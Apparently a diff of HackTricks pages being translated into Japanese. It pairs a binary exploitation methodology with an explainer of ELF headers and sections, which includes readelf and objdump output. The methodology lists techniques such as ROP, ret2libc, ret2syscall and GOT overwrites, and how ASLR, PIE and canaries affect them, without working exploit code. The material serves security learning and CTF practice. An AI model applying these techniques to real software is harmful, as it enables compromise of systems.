## Exploiting Tools ## エクスプロイティングツール
{{#ref}} {{#ref}}
tools/ tools/
{{#endref}} {{#endref}}
## Stack Overflow Methodology ## スタックオーバーフローの方法論
With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology. 多くの技術があるため、各技術がどのように役立つかのスキームを持つことは良いことです。同じ保護が異なる技術に影響を与えることに注意してください。各保護セクションで保護を回避する方法を見つけることができますが、この方法論ではありません。
## Controlling the Flow ## フローの制御
There are different was you could end controlling the flow of a program: プログラムのフローを制御する方法はいくつかあります:
- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - [**スタックオーバーフロー**](../stack-overflow/) スタックからのリターンポインタや EBP -> ESP -> EIP を上書きする。
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - オーバーフローを引き起こすために [**整数オーバーフロー**](../integer-overflow.md) を悪用する必要があるかもしれません。
- Or via **Arbitrary Writes + Write What Where to Execution** - または **任意の書き込み + 実行への書き込み**
- [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - [**フォーマット文字列**](../format-strings/)**:** `printf` を悪用して任意の内容を任意のアドレスに書き込む。
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - [**配列インデクシング**](../array-indexing.md): 不適切に設計されたインデクシングを悪用して、いくつかの配列を制御し、任意の書き込みを得る。
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - オーバーフローを引き起こすために [**整数オーバーフロー**](../integer-overflow.md) を悪用する必要があるかもしれません。
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. - **bof to WWW via ROP**: バッファオーバーフローを悪用して ROP を構築し、WWW を取得できるようにします。
You can find the **Write What Where to Execution** techniques in: **実行への書き込み**技術は以下で見つけることができます:
{{#ref}} {{#ref}}
../arbitrary-write-2-exec/ ../arbitrary-write-2-exec/
{{#endref}} {{#endref}}
## Eternal Loops ## 永続ループ
Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary: 考慮すべきことは、通常、**脆弱性の1回のエクスプロイトでは不十分な場合がある**ということです。特にいくつかの保護を回避する必要があります。したがって、**単一の脆弱性を同じバイナリの実行中に何度もエクスプロイト可能にする**いくつかのオプションを議論することは興味深いです:
- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring. - **`main` 関数**のアドレスや**脆弱性**が発生しているアドレスを ROP チェーンに書き込む。
- Controlling a proper ROP chain you might be able to perform all the actions in that chain - 適切な ROP チェーンを制御することで、そのチェーン内のすべてのアクションを実行できるかもしれません。
- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability** - **`exit` GOT のアドレス**(またはバイナリが終了する前に使用する他の関数)に**脆弱性に戻る**アドレスを書き込む。
- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`. - [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**で説明されているように、ここに2つの関数を格納し、1つは再度脆弱性を呼び出し、もう1つは**`__libc_csu_fini`**を呼び出して、`.fini_array`から関数を再度呼び出します。
## Exploitation Goals ## エクスプロイテーションの目標
### Goal: Call an Existing function ### 目標: 既存の関数を呼び出す
- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag. - [**ret2win**](./#ret2win): フラグを取得するために呼び出す必要があるコード内の関数(特定のパラメータが必要な場合もあります)。
- In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack. - **PIE**がない**通常のbofでは**、スタックに保存されたリターンアドレスにアドレスを書き込むだけで済みます。
- In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it - **PIE**があるbofでは、それを回避する必要があります。
- In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it - **canary**があるbofでは、それを回避する必要があります。
- If you need to set several parameter to correctly call the **ret2win** function you can use: - **ret2win**関数を正しく呼び出すために複数のパラメータを設定する必要がある場合は、次のようにできます:
- A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params - すべてのパラメータを準備するのに十分なガジェットがある場合は、[**ROP**](./#rop-and-ret2...-techniques) **チェーンを使用する**
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)(このシステムコールを呼び出せる場合)を使用して多くのレジスタを制御する。
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)および[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御する。
- Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function. - [**Write What Where**](../arbitrary-write-2-exec/)を介して、他の脆弱性bofではないを悪用して**`win`**関数を呼び出すことができます。
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数systemやprintfで使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)がアドレスに影響を与える可能性があります。
- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know. - [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわからない。
### Goal: RCE ### 目標: RCE
#### Via shellcode, if nx disabled or mixing shellcode with ROP: #### シェルコード経由、nxが無効な場合またはシェルコードとROPを混合する場合
- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it: - [**(スタック)シェルコード**](./#stack-shellcode): リターンポインタを上書きする前または後にスタックにシェルコードを格納し、**それにジャンプして**実行するのに役立ちます:
- **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it - **いかなる場合でも、** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**がある場合、通常のbofではそれを回避リークする必要があります**。
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change - **ASLR**がない場合**と**[**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md)がない場合、スタックのアドレスにジャンプすることが可能です。なぜなら、それは決して変わらないからです。
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it - **ASLR**がある場合は、[**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)のような技術を使用してそこにジャンプする必要があります。
- **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there. - **nx**がある場合は、いくつかの[**ROP**](../rop-return-oriented-programing/)を使用して`memprotect`を呼び出し、ページを`rwx`にしてから、そこにシェルコードを格納し例えばreadを呼び出す、そこにジャンプする必要があります。
- This will mix shellcode with a ROP chain. - これにより、シェルコードとROPチェーンが混合されます。
#### Via syscalls #### システムコール経由
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**. - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 任意のコマンドを実行するために`execve`を呼び出すのに役立ちます。**特定のシステムコールをパラメータで呼び出すためのガジェットを見つける必要があります**。
- If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)が有効な場合、バイナリやライブラリからのROPガジェットを使用するためにそれらを打破する必要があります。
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve** - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)は**ret2execve**を準備するのに役立ちます。
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)や[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。
#### Via libc #### libc経由
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually). - [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): **`libc`**からの関数(通常は**`system`**)を呼び出すのに役立ちます。準備された引数(例:`'/bin/sh'`)を使用します。呼び出したい関数を持つライブラリを**バイナリがロードする必要があります**通常はlibc
- If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - **静的にコンパイルされていて、** [**PIE**](../common-binary-protections-and-bypasses/pie/)がない場合、`system``/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - **ASLR**がない場合**と**読み込まれたlibcのバージョンを知っている場合、`system``/bin/sh`の**アドレス**は変わらないため、静的に使用することが可能です。
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out). - [**ASLR**](../common-binary-protections-and-bypasses/aslr/)があるが[**PIE**](../common-binary-protections-and-bypasses/pie/)がない場合、libcを知っていて、バイナリが`system`関数を使用している場合、**GOT内のsystemのアドレスに`ret`し、`'/bin/sh'`のアドレスをパラメータにすることが可能です**(これを見つける必要があります)。
- With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** : - [ASLR](../common-binary-protections-and-bypasses/aslr/)があり[PIE](../common-binary-protections-and-bypasses/pie/)がないが、libcを知っていて**バイナリが`system`を使用していない場合**
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it&#x20; - [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)を使用して`system`のアドレスを解決し、呼び出します。
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/)を回避し、メモリ内の`system``'/bin/sh'`のアドレスを計算します。
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to: - **ASLR**と[**PIE**](../common-binary-protections-and-bypasses/pie/)があり、libcを知らない場合次のことを行う必要があります
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/) - [**PIE**](../common-binary-protections-and-bypasses/pie/)を回避します。
- Find the **`libc` version** used (leak a couple of function addresses) - 使用されている**`libc`バージョン**を見つけます(いくつかの関数アドレスをリークします)。
- Check the **previous scenarios with ASLR** to continue. - 続行するために**ASLRを使用した以前のシナリオを確認します**。
#### Via EBP/RBP #### EBP/RBP経由
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack. - [**スタックピボッティング / EBP2Ret / EBPチェイニング**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): スタック内の保存されたEBPを通じてESPを制御してRETを制御します。
- Useful for **off-by-one** stack overflows - **オフバイワン**スタックオーバーフローに役立ちます。
- Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP - メモリ内にペイロードを構築し、EBPを介してそれにジャンプする際にEIPを制御する別の方法として役立ちます。
#### Misc #### その他
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味のある関数systemやprintfで使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/)や[**PIE**](../common-binary-protections-and-bypasses/pie/)がアドレスに影響を与える可能性があります。
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know - [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわからない。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# ELF Basic Information # ELF 基本情報
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Program Headers ## プログラムヘッダー
The describe to the loader how to load the **ELF** into memory:
ローダーに**ELF**をメモリにロードする方法を説明します:
```bash ```bash
readelf -lW lnstat readelf -lW lnstat
@ -14,80 +13,78 @@ Entry point 0x1c00
There are 9 program headers, starting at offset 64 There are 9 program headers, starting at offset 64
Program Headers: Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] [Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Section to Segment mapping: Section to Segment mapping:
Segment Sections... Segment Sections...
00 00
01 .interp 01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss 03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic 04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package 05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr 06 .eh_frame_hdr
07 07
08 .init_array .fini_array .dynamic .got 08 .init_array .fini_array .dynamic .got
``` ```
前のプログラムには**9つのプログラムヘッダー**があり、**セグメントマッピング**は**各セクションがどのプログラムヘッダー00から08までに位置するか**を示します。
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**. ### PHDR - プログラムヘッダー
### PHDR - Program HeaDeR プログラムヘッダーのテーブルとメタデータ自体を含みます。
Contains the program header tables and metadata itself.
### INTERP ### INTERP
Indicates the path of the loader to use to load the binary into memory. バイナリをメモリにロードするために使用するローダーのパスを示します。
### LOAD ### LOAD
These headers are used to indicate **how to load a binary into memory.**\ これらのヘッダーは**バイナリをメモリにロードする方法**を示すために使用されます。\
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**. 各**LOAD**ヘッダーは**メモリ**の領域サイズ、権限、アライメントを示し、ELF **バイナリからコピーするバイト**を示します。
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`. 例えば、2番目のものはサイズが0x1190で、0x1fc48に位置し、読み取りおよび書き込みの権限を持ち、オフセット0xfc48から0x528で埋められますすべての予約されたスペースは埋めません。このメモリにはセクション`.init_array .fini_array .dynamic .got .data .bss`が含まれます。
### DYNAMIC ### DYNAMIC
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section. このヘッダーはプログラムをライブラリ依存関係にリンクし、再配置を適用するのに役立ちます。**`.dynamic`**セクションを確認してください。
### NOTE ### NOTE
This stores vendor metadata information about the binary. これはバイナリに関するベンダーメタデータ情報を保存します。
### GNU_EH_FRAME ### GNU_EH_FRAME
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions. スタックアンワインドテーブルの位置を定義し、デバッガーやC++例外処理ランタイム関数によって使用されます。
### GNU_STACK ### GNU_STACK
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack. スタック実行防止防御の構成を含みます。これが有効な場合、バイナリはスタックからコードを実行できません。
### GNU_RELRO ### GNU_RELRO
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running. バイナリのRELRORelocation Read-Only構成を示します。この保護は、プログラムがロードされた後、実行を開始する前に、メモリの特定のセクション`GOT``init`および`fini`テーブルなど)を読み取り専用としてマークします。
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`. 前の例では、0x3b8バイトを0x1fc48に読み取り専用としてコピーし、セクション`.init_array .fini_array .dynamic .got .data .bss`に影響を与えています。
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched. RELROは部分的または完全であることに注意してください。部分的なバージョンは、**遅延バインディング**に使用され、ライブラリのアドレスを最初に検索する際にこのメモリスペースに**書き込み権限**が必要なセクション**`.plt.got`**を保護しません。
### TLS ### TLS
Defines a table of TLS entries, which stores info about thread-local variables. スレッドローカル変数に関する情報を保存するTLSエントリのテーブルを定義します。
## Section Headers ## セクションヘッダー
Section headers gives a more detailed view of the ELF binary
セクションヘッダーはELFバイナリのより詳細なビューを提供します。
``` ```
objdump lnstat -h objdump lnstat -h
@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
Sections: Sections:
Idx Name Size VMA LMA File off Algn Idx Name Size VMA LMA File off Algn
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY CONTENTS, READONLY
``` ```
それは、位置、オフセット、権限だけでなく、そのセクションの**データの種類**も示しています。
It also indicates the location, offset, permissions but also the **type of data** it section has. ### メタセクション
### Meta Sections - **文字列テーブル**: ELFファイルに必要なすべての文字列を含んでいますただし、プログラムで実際に使用されるものは含まれていません。例えば、`.text``.data`のようなセクション名が含まれています。そして、もし`.text`が文字列テーブルのオフセット45にある場合、**name**フィールドには番号**45**が使用されます。
- 文字列テーブルの場所を見つけるために、ELFは文字列テーブルへのポインタを含んでいます。
- **シンボルテーブル**: 名前(文字列テーブルのオフセット)、アドレス、サイズ、シンボルに関するその他のメタデータなど、シンボルに関する情報を含んでいます。
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field. ### メインセクション
- In order to find where the string table is, the ELF contains a pointer to the string table.
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
### Main Sections - **`.text`**: 実行するプログラムの命令。
- **`.data`**: プログラム内で定義された値を持つグローバル変数。
- **`.bss`**: 初期化されていないグローバル変数(またはゼロに初期化)。ここにある変数は自動的にゼロに初期化されるため、バイナリに無駄なゼロが追加されるのを防ぎます。
- **`.rodata`**: 定数グローバル変数(読み取り専用セクション)。
- **`.tdata`**および**`.tbss`**: スレッドローカル変数が使用されるときの.dataおよび.bssのようなものC++の`__thread_local`またはCの`__thread`)。
- **`.dynamic`**: 下記を参照。
- **`.text`**: The instruction of the program to run. ## シンボル
- **`.data`**: Global variables with a defined value in the program.
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
- **`.rodata`**: Constant global variables (read-only section).
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
- **`.dynamic`**: See below.
## Symbols
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
シンボルは、関数、グローバルデータオブジェクト、スレッドローカル変数など、プログラム内の名前付きの位置です。
``` ```
readelf -s lnstat readelf -s lnstat
Symbol table '.dynsym' contains 49 entries: Symbol table '.dynsym' contains 49 entries:
Num: Value Size Type Bind Vis Ndx Name Num: Value Size Type Bind Vis Ndx Name
